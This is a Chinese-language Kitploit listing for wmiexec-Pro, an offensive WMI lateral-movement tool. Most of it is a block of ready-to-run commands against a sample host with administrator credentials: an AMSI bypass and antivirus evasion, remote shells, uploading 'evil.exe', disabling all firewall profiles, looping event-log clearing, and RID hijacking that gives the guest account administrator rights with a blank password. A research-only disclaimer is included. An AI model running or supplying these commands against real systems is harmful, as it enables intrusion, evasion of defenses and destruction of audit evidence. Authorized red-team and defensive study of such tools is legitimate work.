Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
wmiexec-Pro — New generation of wmiexec.py | Kitploit
工具/GitHubGitHub/xiaolichan/wmiexec-pro
Privilege EscalationPersistence MechanismsLateral MovementInformation GatheringPost-ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubxiaolichan/wmiexec-pro

wmiexec-Pro

New generation of wmiexec.py

查看仓库
1.3k1513个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

wmiexec-Pro

新一代的 wmiexec.py。

目录

  1. 简介
  2. 特别感谢
  3. 功能特性
  4. 快速开始
    • 安装
  5. 使用方法
  6. 截图
  7. 工作原理
  8. 免责声明
  9. 参考资料

简介

新一代的 wmiexec.py,拥有更多新功能,所有操作仅需使用 135 端口(无需 SMB 连接),用于横向移动中的 AV 规避(Windows Defender、HuoRong、360)

(回到顶部)

特别感谢

@422926799

(回到顶部)

功能特性

  • 主要功能:AV 规避
  • 主要功能:无需 win32_process
  • 主要功能:仅需 135 端口。
  • 新模块:AMSI 绕过
  • 新模块:文件传输
  • 新模块:通过 WMI 类方法远程启用 RDP
  • 新模块:滥用 Windows 防火墙
  • 新模块:循环清理事件日志
  • 新模块:无需使用 CMD 即可远程启用 WinRM
  • 新模块:服务管理器
  • 新模块:RID 劫持
  • 增强:以新方式获取命令执行输出
  • 增强:执行 VBS 文件

(回到顶部)

快速开始

安装

仅需最新版本的 Impacket

  1. 克隆 impacket 仓库
    root@kitploit:~
    git clone https://github.com/fortra/impacket
    
  2. 安装 impacket
    root@kitploit:~
    cd impacket && sudo pip3 install .
    
  3. 尽情使用吧 :)
    root@kitploit:~
    git clone https://github.com/XiaoliChan/wmiexec-Pro
    

(回到顶部)

使用方法

root@kitploit:~
python3 wmiexec-pro.py [[domain/]username[:password]@]<targetName or address> module -h

Basic enumeration:
   python3 wmiexec-pro.py administrator:[email protected] enum -run

Enable/disable amsi bypass:
   python3 wmiexec-pro.py administrator:[email protected] amsi -enable
   python3 wmiexec-pro.py administrator:[email protected] amsi -disable

Execute command:
   python3 wmiexec-pro.py administrator:[email protected] exec-command -shell (Launch a semi-interactive shell)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" (Default is with output mode)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent (Silent mode)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old (With output in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -save (With output and save output to file)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old -save
   python3 wmiexec-pro.py administrator:[email protected] exec-command -clear (Remove temporary class for command result storage)
   
Filetransfer:
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB)
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB)
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -clear (Remove temporary class for file transfer)
   
RDP:
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable (Auto configure firewall)
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable -old (For old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable-ram (Enable Restricted Admin Mode for PTH, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable -old (For old version OS, such as server 2003, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable-ram (Disable Restricted Admin Mode)

WinRM (Only support win7+):
   python3 wmiexec-pro.py administrator:[email protected] winrm -enable
   python3 wmiexec-pro.py administrator:[email protected] winrm -disable

Firewall (Only support win8+):
   python3 wmiexec-pro.py administrator:[email protected] firewall -search-port 445
   python3 wmiexec-pro.py administrator:[email protected] firewall -dump (Dump all firewall rules)
   python3 wmiexec-pro.py administrator:[email protected] firewall -rule-id (ID from search port) -action [enable/disable/remove] (enable, disable, remove specify rule)
   python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile enable (Enable all firewall profiles)
   python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile disable (Disable all firewall profiles)
   
Services:
   python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe'
   python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class)
   python3 wmiexec-pro.py administrator:[email protected] service -action start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action stop -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action disable -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action auto-start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action manual-start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action getinfo -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action delete -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -dump all-services.json

Eventlog:
   python3 wmiexec-pro.py administrator:[email protected] eventlog -risk-i-know (Looping cleaning eventlog)
   python3 wmiexec-pro.py administrator:[email protected] eventlog -retrive object-ID (Stop looping cleaning eventlog)

RID Hijack:
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action grant (Grant access permissions for SAM/SAM subkey in registry)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action grant-old (For old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action activate (Activate user)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action deactivate (Deactivate user)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action hijack -user 501 -hijack-rid 500 (Hijack guest user rid 501 to administrator rid 500)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -blank-pass-login enable (Enable blank password login)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -blank-pass-login disable
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 500 -action backup (This will save user profile data as json file)
   python3 wmiexec-pro.py [email protected] -no-pass rid-hijack -user 500 -remove (Use guest user remove administrator user profile after rid hijacked)
   python3 wmiexec-pro.py [email protected] -no-pass rid-hijack -restore "backup.json" (Restore user profile for target user)
   

(回到顶部)

截图

  • 帮助

  • exec-command

  • filetransfer

    • 上传文件

    • 下载文件

(回到顶部)

工作原理

  • AMSI 模块:

    • 源自 2018 年 Black Hat Asia 的 Tal-Liberman 技术。
  • exec-command 模块:

    • 先前项目 wmiexec-RegOut 的增强版,从 WMI 类而非注册表中获取输出。
  • filetransfer 模块:

    • 上传:将源文件编码为 base64 字符串写入名为 WriteFile.vbs 的投放器中,然后创建 ActiveScriptEventConsumer 对象的新实例来执行该投放器。
    • 下载:在远程创建用于存储数据的类,然后执行编码器 LocalFileIntoClass.vbs 对文件进行编码,并将数据存入刚创建的类中。
  • rdp 模块:

    • 启用/禁用:直接控制 TerminalServices 对象来管理 RDP 服务。
    • 启用/禁用受限管理模式:通过 StdRegProv 类控制注册表项 DisableRestrictedAdmin。
  • winrm 模块:

    • 启用/禁用:调用服务模块。
    • 防火墙规则:使用 firewall.py 模块配置 WinRM 的防火墙。
  • firewall 模块:

    • 滥用 MSFT_NetProtocolPortFilter、MSFT_NetFirewallRule、MSFT_NetFirewallProfile 类。

(回到顶部)

免责声明

这项开源计划的精神在于帮助安全研究人员和社区加快与网络协议及协议栈实现相关的研究与教育活动。

本仓库中的信息仅供研究与教育用途,不适用于生产环境或作为商业产品的一部分使用。

如果您希望将本代码或其部分内容用于自身用途,我们建议应用适当的安全开发生命周期和安全编码规范,并根据您的需求生成和跟踪相应的失陷指标(IOC)。

(回到顶部)

参考资料

  • GhostPack/SharpWMI
  • impacket
  • WMIHACKER
  • 微软 WMI 文档
  • 微软 VBScripts 文档

(回到顶部)

下载工具
  • service 模块:

    • 滥用 Win32_Service 类。
  • eventlog 模块:

    • 执行 VBS 脚本文件 ClearEventlog.vbs,且不删除 event 和 consumer。
  • execute-vbs 模块:

    • 取自 wmipersist.py。
  • classMethodEx 方法:

    • 创建类:执行 VBS 脚本 CreateClass.vbs 来创建简单类。(为什么?因为不知道如何在 impacket 中使用 PutClass 方法。)
    • 删除类:调用 DeleteClass 方法来删除类。